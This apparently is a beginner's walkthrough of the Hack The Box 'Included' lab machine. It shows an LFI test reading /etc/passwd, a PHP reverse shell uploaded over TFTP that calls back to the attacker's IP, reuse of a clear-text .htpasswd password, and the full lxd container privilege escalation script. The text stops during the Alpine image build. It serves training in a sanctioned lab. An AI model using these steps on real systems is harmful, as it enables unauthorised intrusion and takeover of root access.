The aim of this walkthrough is to provide help with the Included machine on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.

It belongs to a series of tutorials that aim to help out complete beginners with finishing the Starting Point TIER 2 challenges.

SETUP

There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.

Once our connection is taken care of, we spawn the target machine.

Additionally - even though not required - it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.

┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $rhost=<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $ echo $rhost 
<target-hosts-ip>
┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $

We could use the unset command to remove it after we no longer need it.

┌─[][htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $unset rhost 
┌─[htb-bluewalle@htb-pwdysfiide][~/Desktop]
└──╼ $

TASK 1

Question: What service is running on the target machine over UDP?

Our recon phase starts with a quick connection check

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ ping $rhost -c 4
PING 10.129.112.221 (10.129.112.221) 56(84) bytes of data.
64 bytes from 10.129.112.221: icmp_seq=1 ttl=63 time=10.6 ms
64 bytes from 10.129.112.221: icmp_seq=2 ttl=63 time=9.81 ms
64 bytes from 10.129.112.221: icmp_seq=3 ttl=63 time=10.3 ms
64 bytes from 10.129.112.221: icmp_seq=4 ttl=63 time=10.2 ms

--- 10.129.112.221 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 9.811/10.259/10.649/0.299 ms
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

followed by the usual (version, script, top1000-ports) tcp nmap scan.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ nmap -sC -sV $rhost 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:03 BST
Nmap scan report for 10.129.112.221
Host is up (0.050s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.112.221/?file=home.php

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.56 seconds
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

It looks like our target is running a web server on port 80. Let’s get a fingerprint on the website.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ whatweb $rhost
http://10.129.112.221 [302 Found] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.112.221], RedirectLocation[http://10.129.112.221/index.php?file=home.php]
http://10.129.112.221/index.php?file=home.php [301 Moved Permanently] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.112.221], RedirectLocation[http://10.129.112.221/?file=home.php], Title[301 Moved Permanently]
http://10.129.112.221/?file=home.php [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.112.221]
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

Interestingly enough, there are two redirections in place:

  • 0 - http://$rhost - landing page
  • 1 - http://$rhost/index.php?file=home.php - first redirect
  • 2 - http://$rhost/?file=home.php - second redirect

Anyway, these urls seem quite dangerous with that file parameter, but let’s leave that for later. For now, since the question mentions udp ports, let’s scan those port’s too. (Note: scanning the udp ports on the target requires root privileges)

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ sudo nmap -sU --min-rate 5000 -p- $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:04 BST
Warning: 10.129.112.221 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.112.221
Host is up (0.059s latency).
Not shown: 65350 open|filtered udp ports (no-response), 175 closed udp ports (port-unreach)
PORT      STATE SERVICE
39623/udp open  unknown
47052/udp open  unknown
54212/udp open  unknown
54319/udp open  unknown
55618/udp open  unknown
57357/udp open  unknown
57647/udp open  unknown
58096/udp open  unknown
60359/udp open  unknown
60980/udp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 169.70 seconds
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

That’s not too encouraging… How about if we stick to only the most common ports?

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ sudo nmap -sU $rhost
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:34 BST
Stats: 0:03:18 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 20.98% done; ETC: 15:49 (0:12:26 remaining)
Stats: 0:09:32 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 58.00% done; ETC: 15:50 (0:06:55 remaining)
Nmap scan report for 10.129.112.221
Host is up (0.011s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp

Nmap done: 1 IP address (1 host up) scanned in 1024.02 seconds
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

That’s much better. But what exactly are those two services? After a quick research, this is the information we end up with:

  • dhcpc port 68 – probably a dhcp client
  • tftp port 69 – trivial file transfer protocol – no user authentication!!!

That second part looks extremely promising. Let’s check it out…only how can we do that?

A quick online search (again) lands as with the tftp-enum script which is available for nmap. It also mentions that it’s only a reimplementation of tftptheft tool, and by following the provided link we can download a wordlist containing the most commonly used filenames that can be found on a tftp share.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ wget https://raw.githubusercontent.com/EnableSecurity/tftptheft/master/data/tftplist.txt
--2023-05-23 15:53:36--  https://raw.githubusercontent.com/EnableSecurity/tftptheft/master/data/tftplist.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1420 (1.4K) [text/plain]
Saving to: ‘tftplist.txt’

tftplist.txt            100%[===============================>]   1.39K  --.-KB/s    in 0s      

2023-05-23 15:53:36 (20.1 MB/s) - ‘tftplist.txt’ saved [1420/1420]

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ ll
total 4.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 1.4K May 23 15:53 tftplist.txt
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

Sadly, the enumeration does not find anything interesting. Be it because the share is empty or because file discovery is blocked. We do not know.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args tftp-enum.filelist=tftplist.txt $rhost 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-23 15:56 BST
Nmap scan report for 10.129.112.221
Host is up (0.053s latency).

PORT   STATE SERVICE
69/udp open  tftp

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

But since that was a bust, let’s try something else. A quick online research steers us towards a tool named tftp. But since it does not come preinstalled on the pwnbox, we will have to install it ourselves.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ apropos tftp
tftp: nothing appropriate.
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ sudo apt install tftp
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  tftp
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 19.3 kB of archives.
After this operation, 54.3 kB of additional disk space will be used.
Get:1 https://deb.parrot.sh/parrot parrot/main amd64 tftp amd64 0.17-23 [19.3 kB]
Fetched 19.3 kB in 0s (60.2 kB/s)
Selecting previously unselected package tftp.
(Reading database ... 506084 files and directories currently installed.)
Preparing to unpack .../tftp_0.17-23_amd64.deb ...
Unpacking tftp (0.17-23) ...
Setting up tftp (0.17-23) ...
Processing triggers for man-db (2.10.1-1~bpo11+1) ...
Scanning application launchers
Removing duplicate launchers or broken launchers
Launchers are updated
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

Once installed, we refer to it’s man page for further information about it’s usage (man tftp). Simply connecting to our target does not reveal anything interesting.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ tftp $rhost 
tftp> status
Connected to 10.129.112.221.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> ^C
tftp> ┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

Coupled with the fact that there is no trivial way to simply dump the file list via tftp, we will probably have to resort to it’s (unauthenticated) file upload function.

As for the answer, since we are restricted to a 4 character long string, we have a clear winner with tftp.

tftp

TASK 2

Question: What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

It is time to check out the webpage that our target is hosting. Once we fire up our browser, we are automatically redirected to - http://$rhost/?file=home.php -. Goofing around a bit, we notice, that all the links point back to the same landing page.

webpage

Using the Wappalyzer Firefox Extension we collect the following information:

  • Front scripts: Google Font API
  • Web servers: Apache HTTP Server - 2.4.29
  • Programming languages: php
  • Operating systems: Ubuntu

Maybe it can be of interest later on. But for now, it’s time to return to the dangerous url that we are served with.

Searching for something like - file= vulnerability - lands us the clear answer. But is it really vulnerable? One of the typical proof-of-concept way to test it is to try and load the passwd file with the - ../../../../etc/passwd - path. (Note: this file should be accessible for all the users on the system.)

Accessing the endpoint using our browser provides us with the passwd file, ergo, our target is indeed vulnerable to LFI.

lfi-test

local file inclusion

TASK 3

Question: What is the default system folder that TFTP uses to store files?

Building on the information obtained in TASK1 and TASK2, our idea is to use tftp to upload a php reverse shell and then use the file url parameter to run it.

But for that, we need to know exactly where our files will end up once we upload them via tftp. A quick internet search rewards us with default root directory path, - /var/lib/tftpboot -.

Let’s try and enumerate that directory.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /opt/useful/SecLists/Discovery/Web-Content/tftp.fuzz.txt --exclude-length 0
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.112.221/?file=/var/lib/tftpboot/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/useful/SecLists/Discovery/Web-Content/tftp.fuzz.txt
[+] Negative Status codes:   404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/05/23 16:38:43 Starting gobuster in directory enumeration mode
===============================================================
                          
===============================================================
2023/05/23 16:38:44 Finished
===============================================================
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

No luck with the tftp.fuzz.txt wordlist. Let’s try the common one.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ gobuster dir -u http://$rhost/?file=/var/lib/tftpboot/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 0
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.112.221/?file=/var/lib/tftpboot/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/05/23 16:39:44 Starting gobuster in directory enumeration mode
===============================================================
/Documents and Settings (Status: 400) [Size: 301]
/Program Files        (Status: 400) [Size: 301]  
/reports list         (Status: 400) [Size: 301]  
                                                 
===============================================================
2023/05/23 16:39:49 Finished
===============================================================
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

Again, no luck this time. We move on.

/var/lib/tftpboot/

TASK 4

Question: Which interesting file is located in the web server folder and can be used for Lateral Movement?

Now it’s finally time to get that reverse php shell going. We grab one of the most commonly used ones and we modify it to fit our needs.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
--2023-05-23 16:52:12--  https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5491 (5.4K) [text/plain]
Saving to: ‘php-reverse-shell.php’

php-reverse-shell.php   100%[===============================>]   5.36K  --.-KB/s    in 0s      

2023-05-23 16:52:12 (42.5 MB/s) - ‘php-reverse-shell.php’ saved [5491/5491]

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ vim php-reverse-shell.php 
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ mv php-reverse-shell.php revshell.php
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

We adjust line 49 and 50 accordingly.

# original
...
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
...
# modified
...
$ip = '10.10.14.75';  // local host
$port = 4444;       // arbitrary port
...

Once uploaded,

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ tftp $rhost
tftp> put revshell.php
Sent 5685 bytes in 0.2 seconds
tftp> ^C
tftp> ┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

and with a netcat listener started in an other terminal,

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/Desktop]
└──╼ []$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

all that’s left to do is to access it so that our target runs it. We can do this by simply loading our script in our browser via - http://$rhost/?file=/var/lib/tftpboot/revshell.php -.

accessing-rev-shell

Heading over to our netcat listener, we are welcomed with a shell access with the privileges of the www-data user.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/Desktop]
└──╼ []$ nc -lvnp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.112.221.
Ncat: Connection from 10.129.112.221:56704.
Linux included 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 16:03:41 up  2:01,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

But since this shell connection is quite unstable, we first stabilize it.

$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@included:/$ export TERM=xterm
export TERM=xterm
www-data@included:/$ ^Z
[1]+  Stopped                 nc -lvnp 4444
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/Desktop]
└──╼ []$ stty raw -echo; fg
nc -lvnp 4444

www-data@included:/$

Looking around a bit, we realize that we do NOT have permission to view the user flag.

www-data@included:/$ pwd
/
www-data@included:/$ ls -hla
total 100K
drwxr-xr-x  24 root root 4.0K Oct 11  2021 .
drwxr-xr-x  24 root root 4.0K Oct 11  2021 ..
drwxr-xr-x   2 root root 4.0K Jul 26  2021 bin
drwxr-xr-x   3 root root 4.0K Oct 11  2021 boot
drwxr-xr-x   2 root root 4.0K Apr 23  2021 cdrom
drwxr-xr-x  17 root root 3.9K May 23 14:01 dev
drwxr-xr-x  98 root root 4.0K Jul 26  2021 etc
drwxr-xr-x   3 root root 4.0K Mar  5  2020 home
lrwxrwxrwx   1 root root   34 Jul 26  2021 initrd.img -> boot/initrd.img-4.15.0-151-generic
lrwxrwxrwx   1 root root   34 Oct 11  2021 initrd.img.old -> boot/initrd.img-4.15.0-151-generic
drwxr-xr-x  21 root root 4.0K Jul 26  2021 lib
drwxr-xr-x   2 root root 4.0K Jul 26  2021 lib64
drwx------   2 root root  16K Mar  5  2020 lost+found
drwxr-xr-x   2 root root 4.0K Apr 23  2021 media
drwxr-xr-x   2 root root 4.0K Aug  5  2019 mnt
drwxr-xr-x   2 root root 4.0K Apr 23  2021 opt
dr-xr-xr-x 134 root root    0 May 23 14:01 proc
drwx------   7 root root 4.0K Apr 23  2021 root
drwxr-xr-x  25 root root  880 May 23 14:02 run
drwxr-xr-x   2 root root  12K Jul 26  2021 sbin
drwxr-xr-x   4 root root 4.0K Apr 23  2021 snap
drwxr-xr-x   2 root root 4.0K Apr 23  2021 srv
dr-xr-xr-x  13 root root    0 May 23 14:01 sys
drwxrwxrwt   2 root root 4.0K May 23 14:02 tmp
drwxr-xr-x  11 root root 4.0K Jul 26  2021 usr
drwxr-xr-x  14 root root 4.0K Apr 23  2021 var
lrwxrwxrwx   1 root root   31 Jul 26  2021 vmlinuz -> boot/vmlinuz-4.15.0-151-generic
lrwxrwxrwx   1 root root   31 Oct 11  2021 vmlinuz.old -> boot/vmlinuz-4.15.0-151-generic
www-data@included:/$ cd home/
www-data@included:/home$ ls -hla
total 12K
drwxr-xr-x  3 root root 4.0K Mar  5  2020 .
drwxr-xr-x 24 root root 4.0K Oct 11  2021 ..
drwxr-xr-x  6 mike mike 4.0K Mar 11  2020 mike
www-data@included:/home$ cd mike/
www-data@included:/home/mike$ ls -hlag
total 44K
drwxr-xr-x 6 mike 4.0K Mar 11  2020 .
drwxr-xr-x 3 root 4.0K Mar  5  2020 ..
lrwxrwxrwx 1 mike    9 Mar  5  2020 .bash_history -> /dev/null
-rw-r--r-- 1 mike  220 Apr  4  2018 .bash_logout
-rw-rw-r-- 1 mike   15 Mar  5  2020 .bash_profile
-rw-r--r-- 1 mike 3.7K Apr  4  2018 .bashrc
drwx------ 2 mike 4.0K Mar  5  2020 .cache
drwxr-x--- 3 mike 4.0K Mar 10  2020 .config
drwx------ 3 mike 4.0K Mar  5  2020 .gnupg
drwxrwxr-x 3 mike 4.0K Mar  9  2020 .local
-rw-r--r-- 1 mike  807 Apr  4  2018 .profile
-r-------- 1 mike   33 Mar  9  2020 user.txt
www-data@included:/home/mike$

Therefore, we need upgrade our privileges. Taking a quick look at the web server’s installation directory can sometimes lead to lateral movement, considering, that quite often the source files found there are prone to leak some clear-text credentials.

www-data@included:/var/www/html$ ls -hlag
total 88K
drwxr-xr-x 4 root     4.0K Oct 13  2021 .
drwxr-xr-x 3 root     4.0K Apr 23  2021 ..
-rw-r--r-- 1 www-data  212 Apr 23  2021 .htaccess
-rw-r--r-- 1 www-data   17 Apr 23  2021 .htpasswd
-rw-r--r-- 1 www-data  14K Apr 29  2014 default.css
drwxr-xr-x 2 www-data 4.0K Apr 23  2021 fonts
-rw-r--r-- 1 www-data  20K Apr 29  2014 fonts.css
-rw-r--r-- 1 www-data 3.7K Oct 13  2021 home.php
drwxr-xr-x 2 www-data 4.0K Apr 23  2021 images
-rw-r--r-- 1 www-data  145 Oct 13  2021 index.php
-rw-r--r-- 1 www-data  17K Apr 29  2014 license.txt
www-data@included:/var/www/html$

We are lucky. The .htpasswd file which is used to store usernames and passwords for basic HTTP authentication contains a password for the mike user.

www-data@included:/var/www/html$ cat .htaccess 
RewriteEngine On
RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]
#<Files index.php>
#AuthType Basic
#AuthUserFile /var/www/html/.htpasswd
#Require valid-user
www-data@included:/var/www/html$ cat .htpasswd 
mike:Sheffield19
www-data@included:/var/www/html$

Since password reuse is a common thing, we try the same password on the system.

www-data@included:/var/www/html$ su mike
Password: 
mike@included:/var/www/html$

Great, it worked!

.htpasswd

TASK 5

Question: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

First we list all the groups that mike is a member of. There are only two: mike and lxd.

mike@included:/var/www/html$ groups
mike lxd
mike@included:/var/www/html$ id
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
mike@included:/var/www/html$

A quick online search reveals LXD as a next generation system container and virtual machine manager. That looks promising.

But before we continue with exploiting lxd we make sure to grab the user flag.

mike@included:/var/www/html$ cat /home/mike/user.txt 
<flag>
mike@included:/var/www/html$

lxd

TASK 6

Question: When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

This time we rely on the exploit database for finding the exploit. We grab it and store it in our working directory.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ searchsploit lxd
-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
Ubuntu 18.04 - 'lxd' Privilege Escalation                     | linux/local/46978.sh
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ cp /usr/share/exploitdb/exploits/linux/local/46978.sh .
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ mv 46978.sh lxdprivesc.sh
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

Opening it, we are welcomed with clear instructions and following them should elavate our privileges to root.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ cat lxdprivesc.sh 
#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	   Victor Lasa      (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listing images...\n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$

All that’s left for us now is to simply follow the steps.

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2023-05-23 17:48:43--  https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8060 (7.9K) [text/plain]
Saving to: ‘build-alpine’

build-alpine            100%[===============================>]   7.87K  --.-KB/s    in 0s      

2023-05-23 17:48:44 (62.6 MB/s) - ‘build-alpine’ saved [8060/8060]

┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$
  • Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ chmod a+x build-alpine 
┌─[eu-starting-point-vip-1-dhcp][10.10.14.75][htb-bluewalle@htb-kncdaw3dhs][~/included]
└──╼ []$ sudo ./build-alpine 
Determining the latest release... v3.18
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.18/main/x86_64
Downloading alpine-keys-2.4-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
